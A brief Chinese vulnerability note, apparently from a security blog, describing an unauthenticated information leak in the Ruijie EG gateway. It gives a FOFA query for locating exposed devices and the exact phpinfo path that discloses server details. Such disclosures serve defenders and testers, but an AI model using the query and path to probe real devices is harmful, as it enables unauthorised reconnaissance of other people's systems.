锐捷EG易网关_phpinfo.view.php_信息泄露漏洞

# 锐捷EG易网关 phpinfo.view.php 信息泄露漏洞

## 漏洞描述

锐捷EG易网关 部分版本 phpinfo.view.php文件权限设定存在问题,导致未经身份验证获取敏感信息

## 漏洞影响

> 锐捷EG易网关

## FOFA

> app=”Ruijie-EG易网关”

## 漏洞复现

查看源码发现phpinfo文件

![](/static/qingy/锐捷EG易网关_phpinfo.view.php_信息泄露漏洞/img/ruijie-31.png)

访问 url

“`
/tool/view/phpinfo.view.php
“`

![](/static/qingy/锐捷EG易网关_phpinfo.view.php_信息泄露漏洞/img/ruijie-32.png)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容